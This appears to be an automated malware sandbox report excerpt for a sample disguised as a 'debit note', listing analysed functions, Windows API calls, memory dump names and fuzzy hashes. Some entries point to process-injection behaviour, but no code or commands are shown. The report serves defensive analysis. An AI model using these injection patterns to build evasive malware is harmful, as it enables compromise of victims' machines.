                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: ByteCharMultiWide$_sprintf_strcat_strlen_wcslen
                                          • String ID:
                                          • API String ID: 3199840319-0
                                          • Opcode ID: 49a3294527d5b305cfbd6c685c74412098d504eb7a2552fd7b1e5b305baf6987
                                          • Instruction ID: aac9d08775c2cbfae45fd546c2dd5c585d34072f6b495fb7426f91ad36779b1c
                                          • Opcode Fuzzy Hash: 49a3294527d5b305cfbd6c685c74412098d504eb7a2552fd7b1e5b305baf6987
                                          • Instruction Fuzzy Hash: 7B2148B260825027D724EF3A9C82A6EF2D4AF85304F14893FF555C22C2F738D554879A
                                          Function 0040D6B0 Relevance: 3.1, APIs: 2, Instructions: 74COMMON
                                          Download Yara Rule
                                          APIs
                                          • SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 0040D779
                                          • FreeLibrary.KERNEL32(?), ref: 0040D78E
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: FreeInfoLibraryParametersSystem
                                          • String ID:
                                          • API String ID: 3403648963-0
                                          • Opcode ID: 1bcd72a0122d59f5f1ef4a441970033eb21b1c6439336685a4482ae7c853bb59
                                          • Instruction ID: 5fcdf068f8d8459ddaa7ea8882eac3df2259875866eaebb33036fc29c92b3e87
                                          • Opcode Fuzzy Hash: 1bcd72a0122d59f5f1ef4a441970033eb21b1c6439336685a4482ae7c853bb59
                                          • Instruction Fuzzy Hash: BB2184719083019FC300DF5ADC8190ABBE4FB84358F40493FF988A7392D735D9458B9A
                                          Function 0040F110 Relevance: 3.1, APIs: 2, Instructions: 51fileCOMMON
                                          Download Yara Rule
                                          APIs
                                          • CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000,?,0040DE74,?,00000001,?,00403423,?), ref: 0040F13A
                                          • CreateFileW.KERNEL32(?,C0000000,00000007,00000000,00000004,00000080,00000000,?,0040DE74,?,00000001,?,00403423,?), ref: 00426326
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: CreateFile
                                          • String ID:
                                          • API String ID: 823142352-0
                                          • Opcode ID: 01c8104855b6be3cf9f3f51c38ffad3c9237c0860841684a852cd2675ef3d23e
                                          • Instruction ID: 8a88c5525f76e0b0fff62cf48ad84dc7055e673dbb4ccc29545257d8619b8f55
                                          • Opcode Fuzzy Hash: 01c8104855b6be3cf9f3f51c38ffad3c9237c0860841684a852cd2675ef3d23e
                                          • Instruction Fuzzy Hash: 16011D70784310BAF2305A68DD0BF5266546B45B24F20473ABBE5BE2D1D2F86885870C
                                          Function 00414A46 Relevance: 3.0, APIs: 2, Instructions: 32COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00417F77: __getptd_noexit.LIBCMT ref: 00417F77
                                          • __lock_file.LIBCMT ref: 00414A8D
                                            • Part of subcall function 00415471: __lock.LIBCMT ref: 00415496
                                          • __fclose_nolock.LIBCMT ref: 00414A98
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: __fclose_nolock__getptd_noexit__lock__lock_file
                                          • String ID:
                                          • API String ID: 2800547568-0
                                          • Opcode ID: a5ee4eb6f63f5c531cf15d6f0d52328148e0080a1a420ce895dcb566fcff73ac
                                          • Instruction ID: d9443fdd3ee0a3059f5d17ec53abbfe2105cc8a5d10ddad395bff0ae1f283336
                                          • Opcode Fuzzy Hash: a5ee4eb6f63f5c531cf15d6f0d52328148e0080a1a420ce895dcb566fcff73ac
                                          • Instruction Fuzzy Hash: EEF0F6308417019AD710AB7588027EF37A09F41379F22864FA061961D1C73C85C29B5D
                                          Function 00414FE2 Relevance: 3.0, APIs: 2, Instructions: 26COMMON
                                          Download Yara Rule
                                          APIs
                                          • __lock_file.LIBCMT ref: 00415012
                                          • __ftell_nolock.LIBCMT ref: 0041501F
                                            • Part of subcall function 00417F77: __getptd_noexit.LIBCMT ref: 00417F77
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: __ftell_nolock__getptd_noexit__lock_file
                                          • String ID:
                                          • API String ID: 2999321469-0
                                          • Opcode ID: 5d7fd30e9bb4e6974f03027405c635b91b5e55acacb14f372dcacdb3af77c648
                                          • Instruction ID: e3e7bc223609ce985a1750c66bb322057640979a4505571362f253753ce4bf01
                                          • Opcode Fuzzy Hash: 5d7fd30e9bb4e6974f03027405c635b91b5e55acacb14f372dcacdb3af77c648
                                          • Instruction Fuzzy Hash: 64F03030900605EADB107FB5DD027EE3B70AF443A8F20825BB0259A0E1DB7C8AC29A59
                                          Function 0433A2C5 Relevance: 1.9, APIs: 1, Instructions: 400processthreadCOMMON
                                          Download Yara Rule
                                          APIs
                                          • CreateProcessW.KERNELBASE(?,00000000), ref: 0433AA83
                                          • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 0433AB19
                                          • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 0433AB3B
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1678168488.0000000004339000.00000040.00000020.00020000.00000000.sdmp, Offset: 04339000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_4339000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Process$ContextCreateMemoryReadThreadWow64
                                          • String ID:
                                          • API String ID: 2438371351-0
                                          • Opcode ID: c7490eb0849e98549b11c4fe0459da6d53c4872c769bbd933b9fbf1e0076ab14
                                          • Instruction ID: 4eb89c3fd18d5ebc877fa954a6c39b4ea9b1467ad6c749b1bf5ca37501a96296
                                          • Opcode Fuzzy Hash: c7490eb0849e98549b11c4fe0459da6d53c4872c769bbd933b9fbf1e0076ab14
                                          • Instruction Fuzzy Hash: A612DE24E14658C6EB24DF64D8507DEB232EF68301F10A0E9910DEB7A4E77A5F81CF5A
                                          Function 00402F00 Relevance: 1.6, APIs: 1, Instructions: 104COMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: _memmove
                                          • String ID:
                                          • API String ID: 4104443479-0
                                          • Opcode ID: 224a1bccd0668171228bffd00b4e167e84225026459a60d9317a1c29c8a59c26
                                          • Instruction ID: 6397ebbfaf442e519c955e074037b65107783079284990db5ef0c3dd021860ed
                                          • Opcode Fuzzy Hash: 224a1bccd0668171228bffd00b4e167e84225026459a60d9317a1c29c8a59c26
                                          • Instruction Fuzzy Hash: 36317371E00209EBDF009F52E9866AEFBF4FF40740F2189BED855E2650E7389990D759
                                          Function 00402780 Relevance: 1.6, APIs: 1, Instructions: 101COMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: _memmove
                                          • String ID:
                                          • API String ID: 4104443479-0
                                          • Opcode ID: 8b2818c8434b9a070bb7a9b9dd55d4aa8d61190f7c46d4f62081b3e0e63eee4f
                                          • Instruction ID: 412edbf2df7bf8c64f36b821a583ca4e96a0f18e0b9aed18a790d0e499aeb9a1
                                          • Opcode Fuzzy Hash: 8b2818c8434b9a070bb7a9b9dd55d4aa8d61190f7c46d4f62081b3e0e63eee4f
                                          • Instruction Fuzzy Hash: 60319CB9600A21EFC714DF19C580A62F7E0FF08310B14C57ADA89CB795E774E892CB99
                                          Function 00410CFC Relevance: 1.6, APIs: 1, Instructions: 94memoryCOMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: ProtectVirtual
                                          • String ID:
                                          • API String ID: 544645111-0
                                          • Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                          • Instruction ID: 21b87f0337b3904faf2e49e7d89a80b8c5538d611ad57d97d778efbd48141229
                                          • Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                          • Instruction Fuzzy Hash: 8131F770A00105DBC718DF88E590AAAF7B1FB49310B6486A6E409CF355DB78EDC1CBD9
                                          Function 00408F40 Relevance: 1.6, APIs: 1, Instructions: 71COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: e5559574dc10eca8e97d8025a500eef8ee7d185e3c773571fee143e03780f234
                                          • Instruction ID: 427b4a632c312742ac0951887501238d3178a51c37fde1d0fd35c98815df3d2a
                                          • Opcode Fuzzy Hash: e5559574dc10eca8e97d8025a500eef8ee7d185e3c773571fee143e03780f234
                                          • Instruction Fuzzy Hash: 21119674200201ABDB249F36D984E26B3A5AF45304B244D2FF9C5D7790DB7CE881DB5E
                                          Function 0045E17D Relevance: 1.6, APIs: 1, Instructions: 60COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 35b7bc891c26268d2cb6d46035521dde4ecfc0337a7d2d2d45483da740e67eee
                                          • Instruction ID: fe3c5e01fee558804f1d0cd68762aa03bf47037873853bda5dcd607d85013340
                                          • Opcode Fuzzy Hash: 35b7bc891c26268d2cb6d46035521dde4ecfc0337a7d2d2d45483da740e67eee
                                          • Instruction Fuzzy Hash: 2D118B352046019FDB10DF69D884E96B3E9AF8A314F14856EFD298B362CB35FC41CB95
                                          Function 00414C76 Relevance: 1.5, APIs: 1, Instructions: 40COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: __lock_file
                                          • String ID:
                                          • API String ID: 3031932315-0
                                          • Opcode ID: 9d46abaf5bc0bef18357e8259ddf310e5220bee08d011669e2131a09b3543261
                                          • Instruction ID: 324047821ed349453e17c5e7f52af34d31ade4ebcb64e32b23ce3c6ad3b356a0
                                          • Opcode Fuzzy Hash: 9d46abaf5bc0bef18357e8259ddf310e5220bee08d011669e2131a09b3543261
                                          • Instruction Fuzzy Hash: FF011E71801219EBCF21AFA5C8028DF7B71AF44764F11851BF824551A1E7398AE2DBD9
                                          Function 00443E36 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON
                                          Download Yara Rule
                                          APIs
                                          • WriteFile.KERNELBASE(?,?,?,?,00000000,?,?,?,004263D0,?,00487ACC,00000003,0040DE90,?,?,00000001), ref: 00443E54
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: FileWrite
                                          • String ID:
                                          • API String ID: 3934441357-0
                                          • Opcode ID: 873a582ac05df194872d3361efdc1b64d97226b1633050e8059638026df5ad0f
                                          • Instruction ID: f8d6e32d6ecef3e6c51c5ea05c7ff41eb941b2b6d152ec47b845c679c5cedb0e
                                          • Opcode Fuzzy Hash: 873a582ac05df194872d3361efdc1b64d97226b1633050e8059638026df5ad0f
                                          • Instruction Fuzzy Hash: 6BE01276100318ABDB10DF98D844FDA77BCEF48765F10891AFA048B200C7B4EA908BE4
                                          Function 004149C2 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: __wfsopen
                                          • String ID:
                                          • API String ID: 197181222-0
                                          • Opcode ID: b5c1dd7f54315c70b952dff0fe33ec93e52da603c388fdf08d18a597afa050f6
                                          • Instruction ID: b34ddb7a850719c89311ce964fc9f65e9e9400c6a390d5c1cbb008c3125e494a
                                          • Opcode Fuzzy Hash: b5c1dd7f54315c70b952dff0fe33ec93e52da603c388fdf08d18a597afa050f6
                                          • Instruction Fuzzy Hash: 82C092B244020C77CF112A93EC02F9A3F1E9BC0764F058021FB1C1A162AA77EAA19689
                                          Function 0040DA20 Relevance: 1.3, APIs: 1, Instructions: 22COMMON
                                          Download Yara Rule
                                          APIs
                                          • CloseHandle.KERNELBASE(?,?,00426FBF), ref: 0040DA3D
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: CloseHandle
                                          • String ID:
                                          • API String ID: 2962429428-0
                                          • Opcode ID: 4893ac657bcef9b9334a0355bd28ce0f0291ef024a1c9f1561977d8c5be9d70a
                                          • Instruction ID: 552ddd844a8bbede063c80161f66c4637379340f91e2bb70a518b226642b2913
                                          • Opcode Fuzzy Hash: 4893ac657bcef9b9334a0355bd28ce0f0291ef024a1c9f1561977d8c5be9d70a
                                          • Instruction Fuzzy Hash: B9E045B4A04B008BC6308F5BE444416FBF8EEE46203108E1FD4A6C2A64C3B4A1498F50
                                          Function 0433B2C8 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON
                                          Download Yara Rule
                                          APIs
                                          • Sleep.KERNELBASE(000001F4), ref: 0433B2D9
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1678168488.0000000004339000.00000040.00000020.00020000.00000000.sdmp, Offset: 04339000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_4339000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Sleep
                                          • String ID:
                                          • API String ID: 3472027048-0
                                          • Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                                          • Instruction ID: 2aba683aaea8e4f4df335e9ae4def1fefb2e1f42160f0365b9136f562837f0d4
                                          • Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                                          • Instruction Fuzzy Hash: 7CE0E67494410EDFDB00DFB4D54969D7BB4EF04302F100661FD11D2280DA709D50CA62

                                          Non-executed Functions

                                          Function 0047C81C Relevance: 74.2, APIs: 40, Strings: 2, Instructions: 674windowkeyboardCOMMON
                                          Download Yara Rule
                                          APIs
                                          • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0047C8E1
                                          • DefDlgProcW.USER32(?,0000004E,?,?), ref: 0047C8FC
                                          • GetKeyState.USER32(00000011), ref: 0047C92D
                                          • GetKeyState.USER32(00000009), ref: 0047C936
                                          • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0047C949
                                          • GetKeyState.USER32(00000010), ref: 0047C953
                                          • GetWindowLongW.USER32(00000002,000000F0), ref: 0047C967
                                          • SendMessageW.USER32(00000002,0000110A,00000009,00000000), ref: 0047C993
                                          • SendMessageW.USER32(00000002,0000113E,00000000,?), ref: 0047C9B6
                                          • _wcsncpy.LIBCMT ref: 0047CA29
                                          • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0047CA5A
                                          • SendMessageW.USER32 ref: 0047CA7F
                                          • InvalidateRect.USER32(?,00000000,00000001), ref: 0047CADF
                                          • SendMessageW.USER32(?,00001030,?,0047EA68), ref: 0047CB84
                                          • ImageList_SetDragCursorImage.COMCTL32(00B957A0,00000000,00000000,00000000), ref: 0047CB9B
                                          • ImageList_BeginDrag.COMCTL32(00B957A0,00000000,000000F8,000000F0), ref: 0047CBAC
                                          • SetCapture.USER32(?), ref: 0047CBB6
                                          • ClientToScreen.USER32(?,?), ref: 0047CC17
                                          • ImageList_DragEnter.COMCTL32(00000000,?,?,?,?), ref: 0047CC26
                                          • ReleaseCapture.USER32 ref: 0047CC3A
                                          • GetCursorPos.USER32(?), ref: 0047CC72
                                          • ScreenToClient.USER32(?,?), ref: 0047CC80
                                          • SendMessageW.USER32(?,00001012,00000000,?), ref: 0047CCE6
                                          • SendMessageW.USER32 ref: 0047CD12
                                          • SendMessageW.USER32(?,00001111,00000000,?), ref: 0047CD53
                                          • SendMessageW.USER32 ref: 0047CD80
                                          • SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 0047CD99
                                          • SendMessageW.USER32(?,0000110B,00000009,?), ref: 0047CDAA
                                          • GetCursorPos.USER32(?), ref: 0047CDC8
                                          • ScreenToClient.USER32(?,?), ref: 0047CDD6
                                          • GetParent.USER32(00000000), ref: 0047CDF7
                                          • SendMessageW.USER32(?,00001012,00000000,?), ref: 0047CE60
                                          • SendMessageW.USER32 ref: 0047CE93
